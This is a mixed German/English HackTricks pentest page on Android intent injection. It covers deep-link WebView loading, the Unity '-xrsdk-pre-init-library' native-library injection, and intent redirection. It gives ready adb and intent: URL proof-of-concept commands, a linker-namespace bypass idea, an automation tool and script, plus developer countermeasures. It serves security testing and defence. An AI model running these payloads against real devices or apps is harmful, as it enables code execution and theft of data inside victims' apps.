Intent Injection
Reading time: 12 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Intent injection missbraucht Komponenten, die vom Angreifer kontrollierte Intents oder Daten akzeptieren, die später in Intents umgewandelt werden. Zwei sehr häufige Muster während Android app pentests sind:
- Weitergabe manipulierten extras an exported Activities/Services/BroadcastReceivers, die später an privilegierte, nicht-exportierte Komponenten weitergeleitet werden.
- Auslösen exportierter VIEW/BROWSABLE deep links, die vom Angreifer kontrollierte URLs in interne WebViews oder andere sensible Sinks weiterleiten.
Deep links → WebView sink (URL parameter injection)
If an app exposes a custom scheme deep link such as:
myscheme://com.example.app/web?url=<attacker_url>
Wenn die empfangende Activity den url-Query-Parameter an eine WebView weiterleitet, können Sie die App zwingen, beliebige entfernte Inhalte im eigenen WebView-Kontext darzustellen.
PoC via adb:
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Auswirkung
- HTML/JS wird im WebView‑Profil der App ausgeführt.
- Wenn JavaScript aktiviert ist (standardmäßig oder aufgrund falsch gereihter Prüfungen), kannst du alle exponierten
@JavascriptInterface-Objekte aufzählen/verwenden, WebView‑Cookies/local storage stehlen und pivoten.
Siehe auch:
Order-of-checks bug enabling JavaScript
Ein wiederkehrender Fehler ist, JavaScript (oder andere zu großzügige WebView‑Einstellungen) zu aktivieren, bevor die finale URL‑Allowlist/Verifikation abgeschlossen ist. Wenn frühe Helfer deinen deep link akzeptieren und das WebView zuerst konfiguriert wird, erfolgt der finale Load mit bereits aktiviertem JavaScript, selbst wenn spätere Prüfungen fehlerhaft oder zu spät sind.
Worauf man in dekompiliertem Code achten sollte:
- Mehrere Hilfsfunktionen, die die URL unterschiedlich parsen/splitten/wiederaufbauen (inkonsistente Normalisierung).
- Aufrufe von
getSettings().setJavaScriptEnabled(true)vor der letzten Host/Path‑Allowlist‑Prüfung. - Eine Pipeline wie: parse → partial validate → configure WebView → final verify → loadUrl.
Gegenmaßnahmen
- Einmal kanonisieren und strikt validieren; bei Fehlern geschlossen bleiben (fail closed).
- JavaScript nur aktivieren, nachdem alle Prüfungen bestanden sind und unmittelbar vor dem Laden vertrauenswürdiger Inhalte.
- Vermeide es, Bridges für nicht vertrauenswürdige Ursprünge freizugeben.
Unity Runtime: Intent-to-CLI extras → pre-init native library injection (RCE)
Unity‑basierte Android‑Apps verwenden typischerweise com.unity3d.player.UnityPlayerActivity (oder UnityPlayerGameActivity) als Entry Activity. Das Android‑Template von Unity behandelt ein spezielles Intent‑Extra mit dem Namen unity als String von command‑line flags für die Unity‑Runtime. Wenn die Entry Activity exported ist (Standard in vielen Templates), kann jede lokale App – und manchmal eine Website, falls BROWSABLE gesetzt ist – dieses Extra liefern.
Ein gefährlicher, undokumentierter Flag führt sehr früh in der Prozessinitialisierung zur Ausführung nativen Codes:
- Hidden flag:
-xrsdk-pre-init-library <absolute-path> - Effect:
dlopen(<absolute-path>, RTLD_NOW)sehr früh in init, lädt einen vom Angreifer kontrollierten ELF innerhalb des Ziel‑App‑Prozesses mit dessen UID und Berechtigungen.
Reverse‑engineering‑Auszug (vereinfacht):
// lookup the arg value
initLibPath = FUN_00272540(uVar5, "xrsdk-pre-init-library");
// load arbitrary native library early
lVar2 = dlopen(initLibPath, 2); // RTLD_NOW
Warum es funktioniert
- The Intent extra
unityis parsed into Unity runtime flags. - Supplying the pre-init flag points Unity at an attacker-controlled ELF path within an allowed linker namespace path (see constraints below).
Bedingungen für die Ausnutzung
- Die Unity entry Activity ist exported (commonly true by default).
- Für one-click remote via browser: die entry Activity deklariert außerdem
android.intent.category.BROWSABLE, sodass extras von einerintent:URL übergeben werden können.
Lokale Ausnutzung (gleiches Gerät)
- Platziere eine payload ELF an einem von der victim app lesbaren Pfad. Am einfachsten: ship eine malicious library in deiner eigenen attacker app und stelle sicher, dass sie unter
/data/app/.../lib/<abi>/extrahiert wird, indem du im attacker’s manifest:
<application android:extractNativeLibs="true" ...>
- Starte die Unity-Activity des Opfers mit dem CLI pre-init-Flag im
unityextra. Beispiel ADB PoC:
adb shell am start \
-n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \
-e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so"
- Unity calls
dlopen("/data/.../libpayload.so", RTLD_NOW); Ihr Payload läuft im Prozess des Opfers und erbt alle App-Berechtigungen (camera/mic/network/storage, etc.) sowie den Zugriff auf In-App-Sitzungen/Daten.
Notes
- Der genaue Pfad
/data/app/...variiert je nach Gerät/Installation. Eine Angreifer-App kann ihr eigenes native lib-Verzeichnis zur Laufzeit übergetApplicationInfo().nativeLibraryDirermitteln und an den Trigger kommunizieren. - Die Datei muss nicht mit
.soenden, sofern sie ein gültiges ELF ist –dlopen()schaut auf die ELF-Header, nicht auf die Dateiendung.
Remote one‑click via browser (conditional)
If the Unity entry activity is exported with BROWSABLE, a website can pass extras via an intent: URL:
intent:#Intent;package=com.example.unitygame;scheme=whatever;\
S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end;
Auf modernen Android-Versionen verhindern die dynamischen Linker-Namespaces und SELinux das Laden aus vielen öffentlichen Pfaden (z. B. /sdcard/Download). Sie werden Fehler wie die folgenden sehen:
library "/sdcard/Download/libtest.so" ("/storage/emulated/0/Download/libtest.so") needed
or dlopened by "/data/app/.../lib/arm64/libunity.so" is not accessible for the
namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/com.example.unitygame"]
Bypass strategy: target apps that cache attacker-controlled bytes under their private storage (e.g., HTTP caches). Because permitted paths include /data and the app’s private dir, pointing -xrsdk-pre-init-library at an absolute path inside the app’s cache can satisfy linker constraints and yield code execution. This mirrors prior cache-to-ELF RCE patterns experienced in other Android apps.
Other classic Intent injection primitives
- startActivity/sendBroadcast using attacker-supplied
Intentextras that are later re-parsed (Intent.parseUri(...)) and executed. - Exportierte Proxy-Komponenten, die Intents an nicht-exportierte, sensible Komponenten ohne Berechtigungsprüfungen weiterleiten.
Automating exported-component testing (Smali-driven ADB generation)
Wenn exportierte Komponenten bestimmte Extras erwarten, führt das Raten der Payload-Struktur zu Zeitverschwendung und falschen Negativ-Ergebnissen. Du kannst die Erkennung von Keys/Typen direkt aus Smali automatisieren und ausführbare adb-Kommandos erzeugen.
Tool: APK Components Inspector
- Repo: https://github.com/thecybersandeep/apk-components-inspector
- Approach: dekompiliere und scanne Smali nach Aufrufen wie
getStringExtra("key"),getIntExtra("id", ...),getParcelableExtra("redirect_intent"),getSerializableExtra(...),getBooleanExtra(...),getAction(),getData()um abzuleiten, welche Extras und Felder von jeder Komponente verwendet werden. - Output: Für jede exportierte Activity/Service/Receiver/Provider gibt das Tool eine kurze Erklärung und den genauen
adb shell am .../cmd content ...Befehl mit korrekt typisierten Flags aus.
Installation
git clone https://github.com/thecybersandeep/apk-components-inspector
cd apk-components-inspector
python3 -m venv venv && source venv/bin/activate
pip install androguard==3.3.5 rich
Verwendung
python apk-components-inspector.py target.apk
Beispielausgabe
adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
adb shell cmd content query --uri content://com.target.provider/items
ADB am extras Spickzettel (type-aware flags)
- Strings:
--es key value| String array:--esa key v1,v2 - Integers:
--ei key 123| Int array:--eia key 1,2,3 - Booleans:
--ez key true|false - Longs:
--el key 1234567890 - Floats:
--ef key 1.23 - URIs (extra):
--eu key content://...| Data URI (Intent data):-d content://... - Component extra:
--ecn key com.pkg/.Cls - Null string extra:
--esn key - Common flags:
-a <ACTION>-c <CATEGORY>-t <MIME>-f <FLAGS>--activity-clear-task --activity-new-task
Pro-Tipps für Provider
- Verwende
adb shell cmd content query|insert|update|delete ..., um ContentProviders ohne agents anzusprechen. - Bei SQLi-Probing variiere
--projectionund--where(aka selection), wenn der zugrundeliegende Provider SQLite-backed ist.
Full-Pipeline-Automatisierung (interactive executor)
# generate and capture commands then execute them one by one interactively
python apk-components-inspector.py app.apk | tee adbcommands.txt
python run_adb_commands.py
Hilfsskript (fügt umgebrochene Zeilen zusammen, führt nur Zeilen aus, die mit adb beginnen):
import subprocess
def parse_adb_commands(file_path):
with open(file_path, 'r') as file:
lines = file.readlines()
commands = []
current = []
for line in lines:
s = line.strip()
if s.startswith("adb "):
current = [s]
elif s.startswith("#") or not s:
if current:
full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
commands.append(full)
current = []
elif current:
current.append(s)
if current:
full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
commands.append(full)
return commands
for i, cmd in enumerate(parse_adb_commands('adbcommands.txt'), 1):
print(f"\nCommand {i}: {cmd}")
input("Press Enter to execute this command...")
try:
r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True)
print("Output:\n", r.stdout)
if r.stderr:
print("Errors:\n", r.stderr)
except subprocess.CalledProcessError as e:
print(f"Command failed with error:\n{e.stderr}")
Run on-device: der Inspector ist Python-basiert und funktioniert in Termux oder auf gerooteten Geräten, auf denen apktool/androguard verfügbar sind.
Intent Redirection (CWE-926) – finding and exploiting
Pattern
- Ein exportierter Einstiegspunkt (Activity/Service/Receiver) liest ein eingehendes Intent und leitet es intern oder extern weiter, ohne Quelle/Daten zu validieren, z. B.:
startActivity(getIntent())startActivity(intent)wobeiintentaus einem Extra wieredirect_intent/next_intent/pending_intentoderIntent.parseUri(...)stammt.- Vertrauen auf
action/data/component-Felder ohne Prüfungen; Überprüfung der Identität des Aufrufers fehlt.
What to search in Smali/Java
- Verwendung von
getParcelableExtra("redirect_intent"),getParcelable("intent"),getIntent().getParcelableExtra(...). - Direktes
startActivity(...),startService(...),sendBroadcast(...)auf von Angreifern beeinflusste Intents. - Fehlende Überprüfungen von
getCallingPackage()/getCallingActivity()oder eigene Permission-Gates fehlen.
ADB PoC templates
- Proxy Activity, die ein zusätzliches Intent an eine privilegierte interne Activity weiterleitet:
adb shell am start -n com.target/.ProxyActivity \
--es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'
- Exportierter Service, der ein
redirect_intentparcelable akzeptiert:
adb shell am startservice -n com.target/.ExportedService \
--es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'
- Exported Receiver, der ohne Validierung weiterleitet:
adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
--es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'
Hilfreiche Flags für singleTask-ähnliches Verhalten
# Ensure a fresh task when testing Activities that check task/intent flags
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task
Echte Beispiele (Auswirkungen variieren):
- CVE-2024-26131 (Element Android): exportierte Flows, die zu WebView manipulation, PIN bypass, login hijack führen.
- CVE-2023-44121 (LG ThinQ Service): exportierte Receiver-Action
com.lge.lms.things.notification.ACTION→ Effekte auf Systemebene. - CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): Umleitung → beliebiger Dateizugriff (mit Benutzerinteraktion).
- CVE-2022-36837 (Samsung Email < 6.1.70.20): implizite Intents leak Inhalte.
- CVE-2021-4438 (React Native SMS User Consent).
- CVE-2020-14116 (Xiaomi Mi Browser).
Gegenmaßnahmen (Entwickler-Checkliste)
- Eingehende Intents nicht direkt weiterleiten; sie bereinigen und erlaubte Felder neu zusammenstellen.
- Zugriffsfläche einschränken mit
android:exported="false"sofern nicht notwendig. Exportierte Komponenten mit Berechtigungen und Signaturen schützen. - Identität des Aufrufers (
getCallingPackage()/getCallingActivity()) prüfen und explizite Intents für Intra-App-Navigation durchsetzen. - Sowohl
actionals auchdata(scheme/host/path) vor der Nutzung validieren;Intent.parseUribei nicht vertrauenswürdigen Eingaben vermeiden.
Referenzen
- Android – Access to app-protected components
- Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough
- Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)
- Demonstration video
- Automating Android App Component Testing with New APK Inspector (blog)
- APK Components Inspector – GitHub
- Google guidance on intent redirection
- OVAA vulnerable app
- Exported Service PoC APK
- Ostorlab – 100M installs image app deep dive (component summary example)
- CVE-2024-26131 – NVD
- CVE-2023-44121 – CVE.org
- CVE-2023-30728 – CVE.org
- CVE-2022-36837 – CVE.org
- CVE-2021-4438 – NVD
- CVE-2020-14116 – NVD
- CVE-2025-59489 – Arbitrary Code Execution in Unity Runtime (blog)
- Unity docs – Android custom activity command-line
- Unity Security Sept-2025-01 advisory
- HEXACON talk – Messenger one-click cache-based RCE pattern (slides)
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks